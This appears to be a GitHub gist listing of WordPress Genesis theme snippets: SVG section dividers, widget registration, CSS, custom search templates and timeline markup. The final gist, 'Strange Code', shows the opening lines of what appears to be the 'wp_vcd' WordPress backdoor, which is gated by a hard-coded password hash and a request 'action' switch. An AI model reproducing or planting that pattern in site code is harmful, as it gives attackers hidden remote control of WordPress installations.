Skip to content

Instantly share code, notes, and snippets.

@topleague
topleague / svg-path-code-genesis.txt
Last active December 3, 2019 06:07
SVG Path Code for Genesis
/* CODE FOR AFTER HERO WIDGET AREA */
<div class="after-hero">
<svg width: 100%; height:auto viewbox="0 0 2444 132">
<path fill="#8b46ff" fill-rule="evenodd" d="M1222 0h1222c-444.13 88-852.127 132-1223.993 132C849.253 132 442.585 88.263 0 .789V0h1222z"></path>
</svg>
</div>
/* CODE FOR BEFORE FOOTER WIDGET AREA */
<div class="before-footer-widget">
<svg width: 100%; height:auto viewbox="0 0 2444 132">
@topleague
topleague / widget-areas-svg-path-code
Created May 9, 2018 18:00
Create Widget Areas for SVG Path Code
//* Register an After Hero Widget for Front Page
add_action( 'widgets_init', 'genesischild_front_page_widgets' );
function genesischild_front_page_widgets() {
genesis_register_sidebar( array(
'id' => 'after-hero',
'name' => __( 'After Hero', 'genesischild' ),
'description' => __( 'This is the After Hero area', 'genesischild' ),
) );
}
@topleague
topleague / css-svg-genesis.txt
Created May 9, 2018 18:28
CSS for SVG in Gensis
/* STYLING AFTER HERO WIDGET */
.after-hero .wrap {
max-width: 100%;
font-size: 0;
padding-right: 0;
padding-left: 0;
}
/* STYLING BEFORE FOOTER WIDGET */
.before-footer-widget {
@topleague
topleague / custom-search-results.php
Last active December 3, 2019 07:12
Custom Search Results in Genesis Sample
<?php
/**
* Source: https://sridharkatakam.com/custom-search-template-in-genesis-showing-results-grouped-by-post-types/
*/
remove_action( 'genesis_loop', 'genesis_do_loop' );
add_action( 'genesis_loop', 'sk_do_search_loop' );
/**
* Outputs a custom loop.
@topleague
topleague / grid-style-search-results.php
Created May 18, 2018 14:51
Grid Style Search Results
//* Grid Style Search Results
function search_results_post_class( $classes ) {
// Don't run on single posts or pages
if( !is_search() )
return $classes;
$classes[] = 'one-third';
global $wp_query;
if( 0 == $wp_query->current_post || 0 == $wp_query->current_post % 3 )
$classes[] = 'first';
return $classes;
@topleague
topleague / google-amp-error.txt
Created June 12, 2018 06:06
User-authored JavaScript found on Page
<script>if (document.location.protocol != “https:”) {document.location = document.URL.replace(/^http:/i, “https:”);}</script><script type=’text/javascript’ src=’https://cdn.ampproject.org/v0.js’ async></script>
@topleague
topleague / genesis-vertical-timeline.txt
Created August 17, 2018 14:36
Use HTML Markup in Your Content
<div class="timeline">
<div class="container lefthand">
<div class="box">
<h2>2017</h2>
Lorem ipsum dolor sit amet, quo ei simul congue exerci, ad nec admodum perfecto mnesarchum, vim ea mazim fierent detracto. Ea quis iuvaret expetendis his, te elit voluptua dignissim per, habeo iusto primis ea eam.
</div>
</div>
<div class="container righthand">
@topleague
topleague / genesis-vertical-timeline.css
Created August 17, 2018 14:45
CSS Snippets for Vertical Timeline in Genesis
/* Snippets for Custom Body Class */
.timeline-body .entry {
background-color: transparent;
padding: 10px 10px;
}
.timeline-body .site-inner {
max-width: 1280px!important;
}
@topleague
topleague / genesis-responsive-vertical-timeline.css
Last active August 17, 2018 14:57
CSS for Vertical Timeline in Genesis Framework (Responsive)
@media only screen and (max-width: 860px) {
.timeline-body .site-inner {
padding: 5% 0 5% 5%;
}
.timeline::after {
left: 0;
}
@topleague
topleague / strange-code.php
Created January 2, 2019 12:36
Strange Code
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4774c4b1a8af859f72ad92f7d34a161b'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{